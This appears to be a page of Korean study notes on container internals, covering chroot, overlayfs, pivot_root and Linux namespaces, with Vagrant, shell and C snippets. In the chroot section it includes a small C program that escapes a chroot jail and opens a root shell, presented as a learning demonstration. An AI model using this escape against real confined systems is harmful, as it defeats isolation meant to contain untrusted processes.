Search
Duplicate
📒

노트 템플릿 시리즈

수업
Docker Container
주제
5 more properties
참고

1. 목차

NOTE
container-internal
sam0kim
BOX_IMAGE = "bento/ubuntu-18.04" HOST_NAME = "ubuntu1804" $pre_install = <<-SCRIPT echo ">>>> pre-install <<<<<<" sudo apt-get update && sudo apt-get -y install gcc && sudo apt-get -y install make && sudo apt-get -y install pkg-config && sudo apt-get -y install libseccomp-dev && sudo apt-get -y install tree && sudo apt-get -y install jq && sudo apt-get -y install bridge-utils echo ">>>>> install docker <<<<<<" sudo apt-get -y install apt-transport-https ca-certificates curl gnupg lsb-release > /dev/null 2>&1 && sudo mkdir -p /etc/apt/keyrings && sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg && echo \ "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \ $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null 2>&1 && sudo apt-get update && sudo apt-get -y install docker-ce docker-ce-cli docker-compose-plugin > /dev/null 2>&1 SCRIPT Vagrant.configure("2") do |config| config.vm.define HOST_NAME do |subconfig| subconfig.vm.box = BOX_IMAGE subconfig.vm.hostname = HOST_NAME subconfig.vm.network :private_network, ip: "192.168.104.2" subconfig.vm.provider "virtualbox" do |v| v.memory = 1536 v.cpus = 2 end subconfig.vm.provision "shell", inline: $pre_install end end
Bash
복사

도커 vs VM호스트 비교

NOTE
docker run -it busybox
Bash
복사
굉장히 많음
도커와 호스트의 루트 디렉토리는 다르다.
루트 디렉토리가 다르다 ⇒ 시스템이 다르다.
도커의 경우 루트 디렉토리가 오버레이다.
호스트의 경우 루트 디렉토리가 dev다.
컨테이너의 루트와 호스트의 루트는 동일한가.

chroot

NOTE
# chrppt [옵션] NEWROOT 커맨드 mkdir myroot chroot myroot /bin/sh ## sh 복사 which sh ldd /bin/sh mkdir -p myroot/bin cp /bin/sh myroot/bin/ mkdir -p myroot/{lib64,lib/x86_64-linux-gnu} cp /lib/x86_64-linux-gnu/libc.so.6 myroot/lib/x86_64-linux-gnu/ cp /lib64/ld-linux-x86-64.so.2 myroot/lib64 # ls 복사 which ls ldd /bin/ls cp /bin/ls myroot/bin/ cp /lib/x86_64-linux-gnu/{libselinux.so.1,libc.so.6,libpcre.so.3,libdl.so.2,libpthread.so.0} myroot/lib/x86_64-linux-gnu/ cp /lib64/ld-linux-x86-64.so.2 myroot/lib64/ ## cd로 chroot에서 벗어날 수 없음 ## ps 복사 wget https://raw.githubusercontent.com/sam0kim/container-internal/main/scripts/chroot_ps.sh mount -t proc proc /proc # mount: /proc: mount point does not exists mkdir /proc ,mount -t proc proc /proc ps unmount /tmp/myroot/proc
Bash
복사

nginx 이미지 chroot 해보기

NOTE
mkdir nginx-root docker export $(docker create nginx) | tar -C nginx-root -xvf - tree -L 1 nginx-root/ #nginx-root/ #├── bin -> usr/bin #├── boot #├── dev #├── docker-entrypoint.d #├── docker-entrypoint.sh #├── etc #├── home #├── lib -> usr/lib #├── lib64 -> usr/lib64 #├── media #├── mnt #├── opt #├── proc #├── root #├── run #├── sbin -> usr/sbin #├── srv #├── sys #├── tmp #├── usr #└── var chroot nginx-root /bin/sh nginx -g "daemon off;" # chroot curl localhost:80 # root(통신이 됨!)
Bash
복사
chroot만 있어도 도커 이미지를 만들 수 있을까?
chroot는 사용자를 fake root로 가둠으로써 사용하게 되는건데 만약 fake root를 탈출하면 어떻게 되는가?
#include <sys/stat.h> #include <unistd.h> int main(void) { mkdir(".out", 0755); chroot(".out"); chdir("../../../../../"); chroot("."); return execl("/bin/sh", "-i", NULL); }
Bash
복사
# gcc -o myroot/escape_chroot escape_chroot.c ls
Bash
복사
탈옥이 됨!

pivot_root

NOTE
unshare --mount /bin/sh mkdir new_root mount -t tmpfs none new_root
Bash
복사

중복을 해결하자(오버레이 파일시스템)

NOTE
01 07
mkdir -p tools/usr/bin cp /usr/bin/which tools/usr/bin/ mkdir -p tools/{bin,lib64,lib/x86_64-linux-gnu} cp /bin/rm tools/bin/ cp /lib/x86_64-linux-gnu/libc.so.6 tools/lib/x86_64-linux-gnu/; cp /lib64/ld-linux-x86-64.so.2 tools/lib64 mkdir -p rootfs/{container,work,merge} mount -t overlay overlay -o lowerdir=tools:myroot2,upperdir=rootfs/container,workdir=rootfs/work rootfs/merge tree -L 2 myroot/{bin,usr}; tree -L 2 rootfs/merge/{bin,usr}; umount /tmp/rootfs/merge
Bash
복사
# OverlayFS 파일 시스템을 마운트하는 명령어 # mount 명령어를 사용하여 파일 시스템을 마운트합니다 mount -t overlay overlay \ # 파일 시스템 유형을 overlay로 지정합니다 -o lowerdir=tools:myroot2,upperdir=rootfs/container,workdir=rootfs/work \ # OverlayFS 마운트 옵션: # lowerdir=tools:myroot2 # - 읽기 전용으로 결합할 하위 디렉토리들입니다. 여러 디렉토리를 :로 구분합니다. # - 여기서는 tools와 myroot2 디렉토리의 내용을 읽기 전용으로 결합합니다. # # upperdir=rootfs/container # - 읽기 및 쓰기 가능한 상위 디렉토리입니다. # - 여기서 파일 시스템의 변경 사항이 저장됩니다. # # workdir=rootfs/work # - OverlayFS의 내부 작업을 처리하기 위해 필요한 작업 디렉토리입니다. rootfs/merge # 결합된 파일 시스템을 마운트할 대상 디렉토리입니다 # - 결합된 파일 시스템은 rootfs/merge 디렉토리에 마운트됩니다 rootfs/merge ├── tools (읽기 전용) ├── myroot2 (읽기 전용) └── rootfs/container (읽기 및 쓰기 가능)
Bash
복사

컨테이너 격리와 자원(네임스페이스)

NOTE
모든 프로세스는 타입별로 네임스페이스에 속한다.
자식 프로세스는 부모의 네임스페이스를 상속한다.
UTS, Unix Time Sharing (서버 나눠쓰기)
호스트명, 도메인명 격리
IPC, Inter-Process Communication 격리
Shared Memory, Pipe, Message Queue 등
PID (Process ID) 넘버스페이스를 격리
부모-자식 네임스페이스 중첩 구조
부모 네임스페이스 - (see) -> 자식네임스페이스
pid = 1, (init 프로세스 - 커널이 생성, 시그널 처리, 좀비 고아 프로세스 처리, 죽으면 패닉)
컨테이너 PID 1
unshare 할 때 fork하며 자식 PID 네임스페이스의 pid 1로 실행
시그널 처리
좀비, 고아 프로세스 처리
죽으면 컨테이너 종료
unshare -fp --mount-proc /bin/sh (PID 네임스페이스 만들기)
-p : pid namespace
-f : fork
—mount-proc : proc 파일시스템
-proc
메모리 기반의 가상파일 시스템
커널이 관리하는 시스템 정보
시스템 모니터링 및 분석에 활용
# unshare [옵션] [프로그램 [arguments ... ]] # -m --mount # -u --uts # -i --ipc # -p --pid # -n --net # -U --user ls -al /proc/$$/ns readlink /proc/$$/ns/mnt lsns -p 1 lsns -t mnet -p 1 # -t: 네임스페이스 타입 pid, mnt, uts # -p: 조회할 프로세스 아이디 unshare -m lsns -p $$
Bash
복사

격리 안됨

NOTE

격리 안됨

NOTE